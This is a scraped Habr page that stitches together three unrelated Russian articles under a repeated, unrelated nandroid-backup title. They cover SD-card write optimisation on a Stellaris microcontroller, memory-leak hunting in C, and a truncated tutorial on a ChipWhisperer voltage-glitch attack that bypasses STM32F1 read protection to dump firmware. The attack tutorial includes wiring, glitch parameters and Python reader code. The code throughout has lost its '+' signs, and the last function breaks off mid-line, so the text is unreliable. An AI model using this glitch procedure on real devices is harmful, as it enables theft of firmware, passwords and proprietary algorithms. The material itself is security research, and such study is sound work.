Как сделать nandroid backup устройства непосредственно на компьютер, минуя sdcard / Хабр

hfekfaidilbgasymrucbm Новости

Медленная работа sd карточек — кто виноват и что делать?

Давно думал написать статью на Хабр, но все как-то не решался. Хотя и кажется, что есть мысли, которые были бы небезинтересны сообществу, но останавливает предположение, что это «кажется» проистекает от завышенной самооценки. Тем не менее попробую. Поскольку я профессионально занимаюсь электроникой, в частности, программированием микроконтроллеров, довольно-таки длительное время (как я подозреваю, дольше, чем живет большАя а может даже и бОльшая часть читателей Хабра), то за это время накопилось изрядное количество интересных случаев. Представляю на суд сообщества рассказ об одном из них.

Итак, в одной разработке мне потребовалось сохранять значительные объемы информации с целью последующей передачи через сеть в обрабатывающий центр. Поскольку полученное устройство предполагало серийное производство, был выбран вариант с применением относительно недорогих компонентов, и, в частности, микроконтроллера как центрального элемента системы. Поскольку в тот момент (середина 2021 года) предложение микроконтроллеров с Ethernet PHY на борту не отличалось разнообразием (да и сейчас положение не намного лучше), был выбран МК фирмы TI семейства Stellaris, конкретно LM3S8962, тем более что отладочная плата для него у меня уже имелась. МК на тот момент относительно новый, активно продвигаемый фирмой TI (это в конце 2021 года она ВНЕЗАПНО перевела всю серию в разряд NRND), и обладающий вполне достаточными для решения данной задачи параметрами. Для хранения информациии был выбран вариант с SD карточкой, в первую очередь из за их доступности и дешевизны, а также потому, что на отладочной плате наличествовало контактное устройство для них, а на поставляемом с платой отладки CD имелись многочисленные примеры, в том числе и для SD карт. Интерфейс к карточке был реализован простейший — SPI, предложенные примеры сходу заработали, принятое решение позволяло обрабатывать полученные данные до написания интерфейса при помощи элементарного переноса карточки из устройства в кард-ридер ПК, так что первоначальная отладка алгоритмов взаимодействия с объектом управления проблем не вызвало, по крайней мере в этой части проекта. Как все понимают, проблемы возникли несколько позже…

Когда алторитмы были отлажены и устройство в целом заработало, начались тестовые прогоны. И тут выясняется, что SD карточка не способна записывать информацию в том темпе, в котором объект управления ее поставляет, причем разница скоростей составляет разы, а с учетом размеров единицы хранения (2.7 мегабайта) создать промежуточный буфер по приемлемой цене не удасться. Переходя к конкретным цифрам, требовалось файл размером 2.7 мегабайта записывать на SD карточку не более, чем за 1.6 секунды, а реально данные записывались 30 секунд, причем карточки были приобретены класса 10, то есть утверждали скорость записи 10 мбайт/сек. Борьба за скорость шла в несколько этапов и противниками оказывались то микроконтроллер, то стандартная библиотека (фирменная от TI между прочим), то, собственно, SD карточки.

Первый этап — исследую тайминги записи и сразу же выясняю, что запись различных участков информации идет разное время, причем время записи одинаковых блоков информации существенно (в разы) отличается. Путем экспериментов с различными размерами блоков записи устанавливаю простую закономерность — чем больше блоки информации для записи, тем меньше время записи, отнесенное к ее размеру. Псокольку модули библиотеки поддерживают FAT и записывают информацию посекторно, а переделывать их смысла не вижу, переформатирую карточку на размер сектора 32 кбайт и получаю время записи 14 секунд — 1 очко SD.

Второй этап — проверяю работы SPI интерфейса и обнаруживаю, что он работает на частоте 12.5 мгц, хотя описание позволяет установить частоту передачи до 25 мгц (половина от тактовой частоты процессора 50 мгц). Выясняется, что подпрограмма установки частоты SPI модуля из библиотеки ограничивает максимально возможную частоту значением 12.5 мгц, причем в документации на интерфейсный модуль микроконтроллера подобное ограничение отсутствует.

  i = ROM_SysCtlClockGet() / 2;    if(i > 12500000)    {        i = 12500000;    }

Изменяем код и получаем уменьшение времени записи в 2 раза до 7 секунд — 1 очко TI.

Третий этап — исследую модули обмена с SD карточкой и обнаруживаю весьма непроизводительное расходование времени в низкоуровневых процедурах, а именно: модуль SPI в микроконтроллере имеет в своем составе FIFO буфер на 8 байт, что позволяет ускорить работу с ним. Модуль вывода до передачи очередного байте проверяет флаг «буфер передачи не полон» для ожидания возможности переслать следующий байт, и вроде бы все нормально. Но вслед за передачей байта вызывается модуль приема байта (дело в том, что при передаче в интерфейсе SPI одновременно производится и прием), который должен выбрать из приемного буфера эти ненужные принятые байты. И вот эта процедура опрашивает флаг «буфер приема не пуст», то есть ожидает окончания сериализации последнего байта буфера. То есть ждет, пока не будет полностью передан текущий байт и лишь потом готовит следующий для передачи.

void xmit_spi(BYTE dat) {
   uint32_t ui32RcvDat;
   SSIDataPut(SDC_SSI_BASE, dat); /* Write */
   SSIDataGet(SDC_SSI_BASE, &ui32RcvDat); /* flush data */
}

Исправляю обнаруженую ошибку (а как это еще назвать ?) и получаю время передачи файла 3 секунды — 1 очко TI.

И вот что получилось в результате оптимизации, не учитывающей особенности задачи.

static void xmit_spi_my (BYTE const *dst, int length)
{  int i, *p, *d;
  d=(int*)(SDC_SSI_BASE SSI_O_DR);
  p=(int*)(SDC_SSI_BASE SSI_O_SR);
  do {
    while (!(*p & SSI_SR_TNF)) {}
    *d=*dst  ;
  } while (--length);
  while (*p & SSI_SR_RNE) i=*d;
}

Четвертый этап — исследую модули более высокого уровня и выясняю что, поскольку передача данных в интерфейс предусмотрена только из памяти, мне приходится проводить двойную работу — сначала читать поток данных из объекта управления и пересылать в оперативную память микроконтроллера (а это, между прочим, 32 килобайта буфера), а потом из памяти в регистры интерфейса SPI. Пишу свой собственный модуль для передачи данных непосредственно из регистра в регистр, и получаю время записи 1.6 секунды. При этом обращение к своему модулю маскирую внутри стандартного вызова, чтобы файловую система понимала, что переданы 32 килобайта — 1 очко TI.

Пятый этап. Поставленная цель уже достигнута, но процесс оптимизации продолжается по инерции. Исследую еще раз сигналы на интерфейсе и обнаруживаю, что на самом деле передается не непрерывная последовательность тактовых импульсов, а 8 бит данных плюс пауза в 2 такта. Ну хорошо, девятый бит нужен для передачи сигнала синхронизации (не путать с тактовым сигналом), причем мне он совершенно не нужен, но десятый то зачем? Эксперименты с различными режимами SPI привели к получению передаваемого сигнала в реальные 8 бит без пропусков и, соответственно, к времени записи 1.3 секунды — 1 очко Stellaris.

Шестой этап. Вроде бы все хорошо, но совершенно неожидано возникает еще 1 проблема — при потоковой записи множества файлов первые 3 укладываются в требуемый интервал и даже с небольшим запасом, а вот четвертый файл показвает время записи намного большее — до 1.8-2.0 секунд и, соответственно, нарушает последовательность. Пробую очевидное решение, предположив что дело в переходах через страницы записи FLASH памяти, и исключаю эти места из обработки. Теперь начинают долго записываться те файлы, которые раньше записывались хорошо. Многочисленные эксперименты приводят к выводу, что поведение FLASH как то связано с ее особенностями внутренней организации. Я полагаю, что внутренний генератор высокого напряжения для записи ( его существование несомненно) не способен удержать требуемый уровень напряжения при длительных операциях и требует определенного времени на восстановление заряда. При этом общая средняя скорость выдерживается, но мне то нужна не средняя скорость, а мгновенная скорость записи каждого файла. Здесь могло бы выручить введение буфера данных для выравнивания нагрузки, но было найдено другое решение — приобретены SD карточки различных фирм и среди них нашлись те, которые давали постоянное время записи в 1.4 секунды без существенных разбросов. Конкретные названия фирм-производителей карточек называть не буду, чтобы не сочли статью рекламной — 1 очко SD.

Итог — задача решена, устройcтва отгружены потребителю и функционируют без сбоев, общий счет по количеству обнаруженных и исправленных проблем: SD карточки — 2, библиотека от TI — 3, особенности микроконтроллера -1. А из всего вышесказанного можно сделать следующий выводы:
1. С особым вниманием следует относится к имеющимся библиотекам стандартных программ с примерами применения. Они, как правило, функционируют и даже иногда без ошибок, но никоим образом НЕ оптимизированы по производительности. Так что смотрим исходные коды (благо они есть) и творчески модифицируем их. Более того, у меня сложилось мнение, что подобные свободно распространяемые бибилиотеки сознательно сделаны неоптимальными, чтобы стимулировать приобретение их платных аналогов.
2. С осторожностью относимся к спецификациям относительно производительности различных устройств, то есть внимательно читаем спецификации, в каких режимах и какие цифры достигнуты, а не просто смотрим 1-2 цифры параметров и решаем, что нас они устроят.
3. Внимательно читаем документацию на модули микроконтроллеров, пытаемся понять их внутреннее устройство, не забываем про осциллограф для изучения реальных процессов на реальной плате.

И в завершение статьи одно маленькое замечание — решил посмотреть, как обстоят дела в реализации аналогичных процедур в новом пакете поддержки микроконтроллеров типа TIVA-C (TivaWare_C_Series-2.0.1.11577). Ну что можно сказать — традиции не нарушены. Абсолютно все те же грабли лежат все в тех же местах, причем добавились еще одни — теперь функциии вызываются не непосредственно из FLASH памяти, а из так называемой ROM библиотеки с использованием двойного индексирования, что быстродействия не прибавляет. Как говорил Михаил Жванецкий «Или мы будет жить хорошо, или мои произведения всегда будут актуальны». Пока что верно второе.

Ловим утечки памяти в с/с

Как сделать nandroid backup устройства непосредственно на компьютер, минуя sdcard / Хабр

Приветствую вас, Хабровчане!

Сегодня я хочу немного приоткрыть свет над тем, как бороться с утечкой памяти в Си или С .

На Хабре уже существует две статьи, а именно: Боремся с утечками памяти (C CRT) и Утечки памяти в С : Visual Leak Detector. Однако я считаю, что они недостаточно раскрыты, или данные способы могут не дать нужного вам результата, поэтому я хотел бы по возможности разобрать всем доступные способы, дабы облегчить вам жизнь.

Windows — разработка
Начнем с Windows, а именно разработка под Visual Studio, так как большинство начинающих программистов пишут именно под этой IDE.

Как сделать nandroid backup устройства непосредственно на компьютер, минуя sdcard / Хабр

Для понимания, что происходит, прикладываю реальный пример:

Main.c
struct Student create_student();
void ControlMenu();

int main()
{
    ControlMenu();
    return 0;
}

void ShowListMenu(int kX)
{
    char listMenu[COUNT_LIST_MENU][55] = { {"Read students from file"}, {"Input student and push"},
    {"Input student and push it back"}, {"Input student and push it after student"},
    {"Delete last student"}, {"Write students to file"}, {"Find student"}, {"Sort students"},
    {"Show list of students"}, {"Exit"} };
    for (int i = 0; i < COUNT_LIST_MENU; i  )
    {
        if (i == kX)
        {
            printf("%s", listMenu[i]);
            printf(" <=n");
        }
        else
            printf("%sn", listMenu[i]);
    }
}

void ControlMenu()
{
    struct ListOfStudents* list = NULL;
    int kX = 0, key;
    int exit = FALSE;
    ShowListMenu(kX);
    do
    {
        key = _getch();
        switch (key)
        {
        case 72: //up
        {
            if (kX == 0)
                kX = COUNT_LIST_MENU-1;
            else
                kX--;
        }break;
        case 80: //down
        {
            if (kX == COUNT_LIST_MENU-1)
                kX = 0;
            else
                kX  ;
        }break;
        case 13:
        {
            if (kX == 0)
            {
                int sizeStudents = 0;
                struct Student* students = (struct Student*)malloc(1 * sizeof(struct Student));
                char* path = (char*)malloc(255 * sizeof(char));
                printf("Put the path to file with students: ");
                scanf("%s", path);
                int size = 0;
                students = read_students(path, &size);
                if (students == NULL)
                {
                    printf("Can't open this file.n");
                }
                else
                {
                    for (int i = 0; i < size; i  )
                    {
                        if (i == 0)
                        {
                            list = init(students[i]);
                        }
                        else
                        {
                            list = add_new_elem_to_start(list, students[i]);
                        }
                    }
                }
                                free(students);
                printf("nPress any key to continue...");
                getchar();
                getchar();
                free(path);
            }
            else if (kX == 1 || kX == 2 || kX == 3 || kX == 6)
            {
                struct Student student = create_student();
                if (kX == 1)
                {
                    if (list == NULL)
                    {
                        list = init(student);
                    }
                    else
                    {
                        list = add_new_elem_to_start(list, student);
                    }
                    printf("nPress any key to continue...");
                    getchar();
                    getchar();
                }
                else if (kX == 2)
                {
                    if (list == NULL)
                    {
                        list = init(student);
                    }
                    else
                    {
                        list = add_new_elem_to_end(list, student);
                    }
                    printf("nPress any key to continue...");
                    getchar();
                    getchar();
                }
                else if (kX == 3)
                {
                    if (list == NULL)
                    {
                        list = init(student);
                        printf("The list was empty, so, list have been created.n");
                    }
                    else
                    {
                        int position;
                        printf("Put the position: ");
                        scanf("%d", &position);
                        list = add_new_elem_after_pos(list, student, position);
                    }
                    printf("nPress any key to continue...");
                    getchar();
                    getchar();
                }
                else
                {
                    if (find_elem(list, student))
                        printf("Student exist");
                    else
                        printf("Student doesn't exist");
                    printf("nPress any key to continue...");
                    getchar();
                    getchar();
                }
            }
            else if (kX == 4)
            {
                if (list == NULL)
                {
                    printf("List is empty.n");
                }
                else
                {
                    list = delete_elem(list);
                }
                printf("nPress any key to continue...");
                getchar();
                getchar();
            }
            else if (kX == 5)
            {
                char* path = (char*)malloc(255 * sizeof(char));
                printf("Put the path to file with students: ");
                scanf("%s", path);
                if (write_students(list, path) == 0)
                {
                    printf("Can't write");
                    printf("nPress any key to continue...");
                    getchar();
                    getchar();
                }
                free(path);
            }
            else if (kX == 7)
            {
                if (list == NULL)
                {
                    printf("List is empty.n");
                }
                else
                {
                    list = sort_list(list);
                }
                printf("nThe list was successfully sorted");
                printf("nPress any key to continue...");
                getchar();
                getchar();
            }
            else if (kX == 8)
            {
                system("cls");
                show_list(list);
                printf("nPress any key to continue...");
                getchar();
                getchar();
            }
            else
                exit = TRUE;
        }break;
        case 27:
        {
            exit = TRUE;
        }break;
        }
        system("cls");
        ShowListMenu(kX);
    } while (exit == FALSE);
    while (list != NULL)
    {
        list = delete_elem(list);
    }
}

struct Student create_student()
{
    struct Student new_student;
    do
    {
        printf("Write the name of studentn");
        scanf("%s", new_student.first_name);
    } while (strlen(new_student.first_name) == 0);
    do
    {
        printf("Write the last name of studentn");
        scanf("%s", new_student.last_name);
    } while (strlen(new_student.last_name) == 0);
    do
    {
        printf("Write the patronyminc of studentn");
        scanf("%s", new_student.patronyminc);
    } while (strlen(new_student.patronyminc) == 0);
    do
    {
        printf("Write the city of studentn");
        scanf("%s", new_student.city);
    } while (strlen(new_student.city) == 0);
    do
    {
        printf("Write the district of studentn");
        scanf("%s", new_student.disctrict);
    } while (strlen(new_student.disctrict) == 0);
    do
    {
        printf("Write the country of studentn");
        scanf("%s", new_student.country);
    } while (strlen(new_student.country) == 0);
    do
    {
        printf("Write the phone number of studentn");
        scanf("%s", new_student.phoneNumber);
    } while (strlen(new_student.phoneNumber) != 13);
    char* choose = (char*)malloc(255 * sizeof(char));
    while (TRUE)
    {
        printf("Does student live in hostel? Y - yes, N - non");
        scanf("%s", choose);
        if (strcmp(choose, "y") == 0 || strcmp(choose, "Y") == 0)
        {
            new_student.is_live_in_hostel = TRUE;
            break;
        }
        if (strcmp(choose, "n") == 0 || strcmp(choose, "n") == 0)
        {
            new_student.is_live_in_hostel = FALSE;
            break;
        }
    }
    while (TRUE)
    {
        printf("Does student get scholarship? Y - yes, N - non");
        scanf("%s", choose);
        if (strcmp(choose, "y") == 0 || strcmp(choose, "Y") == 0)
        {
            new_student.is_live_in_hostel = TRUE;
            break;
        }
        if (strcmp(choose, "n") == 0 || strcmp(choose, "n") == 0)
        {
            new_student.is_live_in_hostel = FALSE;
            break;
        }
    }
    free(choose);
    for (int i = 0; i < 3; i  )
    {
        char temp[10];
        printf("Write the %d mark of ZNOn", i   1);
        scanf("%s", temp);
        new_student.mark_zno[i] = atof(temp);
        if (new_student.mark_zno[i] == 0)
        {
            i--;
        }
    }

    return new_student;
}

А также есть Student.h и Student.c в котором объявлены структуры и функции.

Есть задача: продемонстрировать отсутствие утечек памяти. Первое, что приходит в голову — это CRT. Тут все достаточно просто.

В начало файла, где находится main, необходимо добавить этот кусок кода:

#define __CRTDBG_MAP_ALLOC
#include <crtdbg.h>
#define DEBUG_NEW new(_NORMAL_BLOCK, __FILE__, __LINE__)
#define new DEBUG_NEW

А перед return 0 нужно прописать это: _CrtDumpMemoryLeaks();.

В итоге, в режиме Debug, студия будет выводить это:

Detected memory leaks!

Dumping objects ->
{79} normal block at 0x00A04410, 376 bytes long.
 Data: <                > CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD 
Object dump complete.

Супер! Теперь вы знаете, что у вас утечка памяти. Теперь нужно устранить это, поэтому необходимо просто узнать, где мы забываем очистить память. И вот тут возникает проблема: а где, собственно, выделялась эта память?

Как сделать nandroid backup устройства непосредственно на компьютер, минуя sdcard / Хабр

После того, как я повторил все шаги, я выяснил, что память теряется где-то здесь:

if (kX == 0)
            {
                int sizeStudents = 0;
                struct Student* students = (struct Student*)malloc(1 * sizeof(struct Student));
                char* path = (char*)malloc(255 * sizeof(char));
                printf("Put the path to file with students: ");
                scanf("%s", path);
                int size = 0;
                students = read_students(path, &size);
                if (students == NULL)
                {
                    printf("Can't open this file.n");
                }
                else
                {
                    for (int i = 0; i < size; i  )
                    {
                        if (i == 0)
                        {
                            list = init(students[i]);
                        }
                        else
                        {
                            list = add_new_elem_to_start(list, students[i]);
                        }
                    }
                }
                free(students);
                printf("nPress any key to continue...");
                getchar();
                getchar();
                free(path);
            }

Но как так — то? Я же все освобождаю? Или нет?

И тут мне сильно не хватало Valgrind, с его трассировкой вызовов…

В итоге, после 15 минут прогугливания, я нашел аналог Valgrind — Visual Leak Detector. Это сторонняя библиотека, обертка над CRT, которая обещала показывать трассировку! Это то, что мне необходимо.

Чтобы её установить, необходимо перейти в репозиторий и в assets найти vld-2.5.1-setup.exe

Правда, последнее обновление было со времен Visual Studio 2021, но оно работает и с Visual Studio 2021. Установка стандартная, просто следуйте инструкциям.

Чтобы подключить VLD, необходимо прописать #include <vld.h>.

Преимущество этой утилиты заключается в том, что можно не запускать в режиме debug (F5), ибо все выводится в консоль. В самом начале будет выводиться это:

Visual Leak Detector read settings from: C:Program Files (x86)Visual Leak Detectorvld.ini
Visual Leak Detector Version 2.5.1 installed.

И вот, что будет выдавать при утечке памяти:

WARNING: Visual Leak Detector detected memory leaks!
---------- Block 1 at 0x01405FD0: 376 bytes ----------
  Leak Hash: 0x555D2B67, Count: 1, Total 376 bytes
  Call Stack (TID 8908):
    ucrtbased.dll!malloc()
    test.exe!0x00F41946()
    test.exe!0x00F42E1D()
    test.exe!0x00F44723()
    test.exe!0x00F44577()
    test.exe!0x00F4440D()
    test.exe!0x00F447A8()
    KERNEL32.DLL!BaseThreadInitThunk()   0x19 bytes
    ntdll.dll!RtlGetAppContainerNamedObjectPath()   0xED bytes
    ntdll.dll!RtlGetAppContainerNamedObjectPath()   0xBD bytes
  Data:
    CD CD CD CD    CD CD CD CD    CD CD CD CD    CD CD CD CD     ........ ........
    CD CD CD CD    CD CD CD CD    CD CD CD CD    CD CD CD CD     ........ ........
    CD CD CD CD    CD CD CD CD    CD CD CD CD    CD CD CD CD     ........ ........
    CD CD CD CD    CD CD CD CD    CD CD CD CD    CD CD CD CD     ........ ........
    CD CD CD CD    CD CD CD CD    CD CD CD CD    CD CD CD CD     ........ ........
    CD CD CD CD    CD CD CD CD    CD CD CD CD    CD CD CD CD     ........ ........
    CD CD CD CD    CD CD CD CD    CD CD CD CD    CD CD CD CD     ........ ........
    CD CD CD CD    CD CD CD CD    CD CD CD CD    CD CD CD CD     ........ ........
    CD CD CD CD    CD CD CD CD    CD CD CD CD    CD CD CD CD     ........ ........
    CD CD CD CD    CD CD CD CD    CD CD CD CD    CD CD CD CD     ........ ........
    CD CD CD CD    CD CD CD CD    CD CD CD CD    CD CD CD CD     ........ ........
    CD CD CD CD    CD CD CD CD    CD CD CD CD    CD CD CD CD     ........ ........
    CD CD CD CD    CD CD CD CD    CD CD CD CD    CD CD CD CD     ........ ........
    CD CD CD CD    CD CD CD CD    CD CD CD CD    CD CD CD CD     ........ ........
    CD CD CD CD    CD CD CD CD    CD CD CD CD    CD CD CD CD     ........ ........
    CD CD CD CD    CD CD CD CD    CD CD CD CD    CD CD CD CD     ........ ........

Visual Leak Detector detected 1 memory leak (412 bytes).
Largest number used: 3115 bytes.
Total allocations: 3563 bytes.
Visual Leak Detector is now exiting.

Вот, я вижу трассировку! Так, а где строки кода? А где названия функций?

Как сделать nandroid backup устройства непосредственно на компьютер, минуя sdcard / Хабр

Ладно, обещание сдержали, однако это не тот результат, который я хотел.

Остается один вариант, который я нашел в гугле: моментальный снимок памяти. Он делается просто: в режиме debug, когда доходите до return 0, необходимо в средстве диагностики перейти во вкладку “Использование памяти” и нажать на “Сделать снимок”. Возможно, у вас будет отключена эта функция, как на первом скриншоте. Тогда необходимо включить, и перезапустить дебаг.

После того, как вы сделали снимок, у вас появится под кучей размер. Я думаю, это сколько всего было выделено памяти в ходе работы программы. Нажимаем на этот размер. У нас появится окошко, в котором будут содержаться объекты, которые хранятся в этой куче. Чтобы посмотреть подробную информацию, необходимо выбрать объект и нажать на кнопку “Экземпляры представления объекта Foo”.

Да! Это победа! Полная трассировка с местоположением вызовов! Это то, что было необходимо изначально.

Linux — разработка
Теперь, посмотрим, что творится в Linux.
Как сделать nandroid backup устройства непосредственно на компьютер, минуя sdcard / Хабр
В Linux существует утилита valgrind. Чтобы установить valgrind, необходимо в консоли прописать sudo apt install valgrind (Для Debian-семейства).

Я написал небольшую программу, которая заполняет динамический массив, но при этом, не очищается память:

Скомпилировав программу с помощью CLang, мы получаем .out файл, который мы подкидываем valgrind’у.

С помощью команды valgrind ./a.out. Как работает valgrind, думаю, есть смысл описать в отдельной статье, а сейчас, как выполнится программа, valgrind выведет это:

==2342== HEAP SUMMARY:
==2342==     in use at exit: 40 bytes in 1 blocks
==2342==   total heap usage: 2 allocs, 1 frees, 1,064 bytes allocated
==2342== 
==2342== Searching for pointers to 1 not-freed blocks
==2342== Checked 68,984 bytes
==2342== 
==2342== LEAK SUMMARY:
==2342==    definitely lost: 40 bytes in 1 blocks
==2342==    indirectly lost: 0 bytes in 0 blocks
==2342==      possibly lost: 0 bytes in 0 blocks
==2342==    still reachable: 0 bytes in 0 blocks
==2342==         suppressed: 0 bytes in 0 blocks
==2342== Rerun with --leak-check=full to see details of leaked memory
==2342== 
==2342== ERROR SUMMARY: 0 errors from 0 contexts (suppressed: 0 from 0)
==2342== ERROR SUMMARY: 0 errors from 0 contexts (suppressed: 0 from 0)

Таким образом, valgrind пока показывает, сколько памяти было потеряно. Чтобы увидеть, где была выделена память, необходимо прописать --leak-check=full, и тогда, valgrind, помимо выше описанного, выведет это:

==2348== 40 bytes in 1 blocks are definitely lost in loss record 1 of 1
==2348==    at 0x4C2FB0F: malloc (in /usr/lib/valgrind/vgpreload_memcheck-amd64-linux.so)
==2348==    by 0x40053A: main (in /home/hunterlan/Habr/a.out)

Конечно, тут не указана строка, однако уже указана функция, что не может не радовать.

Есть альтернативы valgrind’у, такие как strace или Dr.Memory, но я ими не пользовался, да и они применяется в основном там, где valgrind бессилен.

Выводы

Я рад, что мне довелось столкнуться с проблемой поиска утечки памяти в Visual Studio, так как я узнал много новых инструментов, когда и как ими пользоваться и начал разбирать, как работают эти инструменты.

Спасибо вам за внимания, удачного написания кода вам!

Считывание защищенной прошивки из флеш-памяти stm32f1xx с использованием chipwhisperer

Как сделать nandroid backup устройства непосредственно на компьютер, минуя sdcard / Хабр

В предыдущей статье мы разбирались с Vcc-glitch-атаками при помощи ChipWhisperer. Нашей дальнейшей целью стало поэтапное изучение процесса считывания защищенной прошивки микроконтроллеров. С помощью подобных атак злоумышленник может получить доступ ко всем паролям устройства и программным алгоритмам. Яркий пример – взлом аппаратного криптокошелька Ledger Nano S с платой МК STM32F042 при помощи Vcc-glitch-атак.

Интересно? Давайте смотреть под кат.

О возможности считывания защищенной прошивки мы узнали из статьи, в которой приведены результаты выполнения Vcc-glitch-атаки – обхода байта защиты RDP через масочный загрузчик (bootloader) для нескольких микроконтроллеров (далее – МК). Также рекомендуем к прочтению статью о взломе ESP32.

Теоретической базой исследования послужило руководство успешного считывания защищенной прошивки для LPC1114 через масочный загрузчик с использованием ChipWhisperer.

Так же, как и в первой статье, мы решили проводить эксперименты на плате МК STM32F103RBT6:

Как сделать nandroid backup устройства непосредственно на компьютер, минуя sdcard / Хабр

Плата STM32F103RBT6

Возможность записи данных в сектор флеш-памяти и RAM-памяти или их чтения, а также выполнения других действий с памятью МК определяется значением байта защиты (для STM32 – RDP). Для разных МК значения и назначение байтов защиты, а также алгоритм их проверки различается.

Аппаратная настройка

Приступим к проведению эксперимента. Для начала необходимо подключить ChipWhisperer к МК согласно рисунку:

Как сделать nandroid backup устройства непосредственно на компьютер, минуя sdcard / Хабр

Схема подключения ChipWhisperer к STM32 для считывания защищенной прошивки через масочный загрузчик

На схеме зачеркнуты элементы, которые следует удалить из платы STM32F103RBT6 (в отличие от стандартного подключения МК). Стрелками обозначены места подключения ChipWhisperer, а подписями – его пины.

Наличие внешнего кварца, представленного на схеме, не обязательно, поскольку при работе с масочным загрузчиком плата МК STM32F103RBT6 использует внутренний CLOCK с частотой 24 МГц, поэтому синхронизация между ChipWhisperer и МК отсутствует.

Перейдем к настройке ChipWhisperer. Как уже было отмечено выше, рекомендуемая частота работы ChipWhisperer – 24 МГц (или другое кратное значение). Чем выше кратность этой частоты, тем точнее можно настроить момент атаки. Из-за отсутствия синхронизации подбор параметра scope.glitch.offset необязателен, ему можно присвоить любое значение.

Параметры scope.glitch.repeat и scope.glitch.width необходимо подбирать в зависимости от установленной частоты ChipWhisperer. При большом значении частоты все кратковременные импульсы, количество которых устанавливается при помощи scope.glitch.repeat, сливаются в один длительный импульс. Поэтому можно подбирать значение параметра scope.glitch.width, а scope.glitch.repeat зафиксировать, либо наоборот. Мы обнаружили, что оптимальная длительность импульса должна составлять около 80 нс (определяется как ширина импульса на его полувысоте).

Осталось подобрать значение параметра scope.glitch.ext_offset.

Подбор scope.glitch.ext_offset

Сначала необходимо выбрать момент атаки. Согласно схеме, представленной в документе компании STM, проверка значения байта защиты выполняется после получения запроса на чтение данных сектора флеш-памяти:

Как сделать nandroid backup устройства непосредственно на компьютер, минуя sdcard / Хабр

Алгоритм ответа на запрос о чтении данных сектора флеш-памяти

Чтобы удостовериться в верности такой схемы проверки, мы считали исполняемый код загрузчика подобного МК без защиты RDP через ST-Link. На рисунках ниже показаны части алгоритма обработки команды Read Memory command.

Как сделать nandroid backup устройства непосредственно на компьютер, минуя sdcard / Хабр

Общий вид обработки команды чтения памяти (хорошо видны вызов функции проверки RDP и посылка NACK в случае неудачной проверки)

Как сделать nandroid backup устройства непосредственно на компьютер, минуя sdcard / Хабр

Тело функции проверки RDP

Обратим внимание на тело функции проверки RDP: видно, что происходит чтение регистра по адресу 0x40022000 0x1C, логический сдвиг на 30 разрядов и ветвление. Из документации PM0075 Programming manual (STM32F10xxx Flash memory microcontrollers) становится понятно, что 0x40022000 – это базовый адрес контроллера flash memory, а 0x1C – это смещение регистра FLASH_OBR, в котором нас интересует второй бит RDPRT: Read protection, в котором содержится статус защиты RDP.

Необходимый момент проведения атаки – отработка инструкции LDR (загрузки из памяти). Эта инструкция располагается между запросом на чтение прошивки (отправление байта 0x11 с контрольной суммой 0xEE) и ответом ACK/NOACK МК по UART. Для того чтобы визуально зафиксировать этот момент, необходимо подключить осциллограф к UART1_RX (пин PA10) и UART1_TX (пин PA9), а затем отслеживать изменение напряжения по UART1. В результате осциллограмма атаки по питанию с подобранным значением scope.glitch.ext_offset должна выглядеть примерно так:

Как сделать nandroid backup устройства непосредственно на компьютер, минуя sdcard / Хабр

Выбор момента проведения атаки

Скрипт считывания прошивки

Теперь необходимо указать момент срабатывания триггера CW_TRIG в коде Python с целью перехвата момента передачи контрольной суммы по UART1_RX. У ChipWhisperer есть библиотека для общения с масочным загрузчиком МК STM32. В штатном режиме эта библиотека используется для загрузки на МК прошивок из руководств при помощи класса class STM32FSerial(object), расположенного в файле programmer_stm32fserial.py по пути software/chipwhisperer/hardware/naeusb/. Для активации срабатывания триггера необходимо скопировать этот класс в главный исполняемый скрипт, чтобы метод класса CmdGeneric(self, cmd) стал глобально доступным, и добавить команду scope.arm() до передачи контрольной суммы (0xEE) запроса на считывание сектора памяти. Итоговый класс приведен в спойлере ниже.

Класс для общения ChipWhisperer с STM32
import time
import sys
import logging
from chipwhisperer.common.utils import util
from chipwhisperer.hardware.naeusb.programmer_stm32fserial import supported_stm32f
from chipwhisperer.capture.api.programmers import Programmer

# class which can normally using internal CW library for reading STM32 firmware by UART
class STM32Reader(Programmer):
    def __init__(self):
        super(STM32Reader, self).__init__()
        self.supported_chips = supported_stm32f

        self.slow_speed = False
        self.small_blocks = True
        self.stm = None

    def stm32prog(self):

        if self.stm is None:
            stm = self.scope.scopetype.dev.serialstm32f
        else:
            stm = self.stm

        stm.slow_speed = self.slow_speed
        stm.small_blocks = self.small_blocks

        return stm

    def stm32open(self):
        stm32f = self.stm32prog()
        stm32f.open_port()

    def stm32find(self):
        stm32f = self.stm32prog()
        stm32f.scope = self.scope
        sig, chip = stm32f.find()

    def stm32readMem(self, addr, lng):
        stm32f = self.stm32prog()
        stm32f.scope = self.scope
        #answer = stm32f.readMemory(addr, lng)
        answer = self.ReadMemory(addr, lng)
        return answer

    def stm32GetID(self):
        stm32f = self.stm32prog()
        stm32f.scope = self.scope
        answer = stm32f.cmdGetID()
        return answer

    # Needed for connection to STM after reload by reset_target(scope) method
    def FindSTM(self):
        #setup serial port (or CW-serial port?)
        stm32f = self.stm32prog()

        try:
            stm32f.initChip()
        except IOError:
            print("Failed to detect chip. Check following: ")
            print("   1. Connections and device power. ")
            print("   2. Device has valid clock (or remove clock entirely for internal osc).")
            print("   3. On Rev -02 CW308T-STM32Fx boards, BOOT0 is routed to PDIC.")
            raise

        boot_version = stm32f.cmdGet()
        chip_id = stm32f.cmdGetID()

        for t in supported_stm32f:
            if chip_id == t.signature:
#                print("Detected known STMF32: %s" % t.name)
                stm32f.setChip(t)
                return chip_id, t
#        print("Detected unknown STM32F ID: 0xx" % chip_id)
        return chip_id, None

Следует обратить внимание на то, что масочный загрузчик STM32F1хх позволяет считывать за один запрос не более 256 байт прошивки из указанного сектора флеш-памяти. Поэтому при считывании всей прошивки МК необходимо в ходе Vcc-glitch-атаки выполнить несколько запросов на чтение. Затем полученные 256 байт следует разбить на восемь 32-байтных массивов и сформировать из них файл формата HEX.

Код HEX-конвертера и вспомогательные функции
def int2str_0xFF(int_number, number_of_bytes):
    return '{0:0{1}X}'.format(int_number,number_of_bytes_in_string)

def data_dividing_from_256_to_32_bytes (data_to_divide, mem_sector, mem_step=32):
    if mem_sector > 0xFFFF:
        mem_conversion = mem_sector >> 16
        mem_conversion = mem_sector - (mem_conversion << 16)
    data_out = ''
    for i in range(int(256/mem_step)):
        data_vector = data_to_divide[(i * mem_step):((i   1) * mem_step)]
        mem_calc = mem_conversion   (i * mem_step)
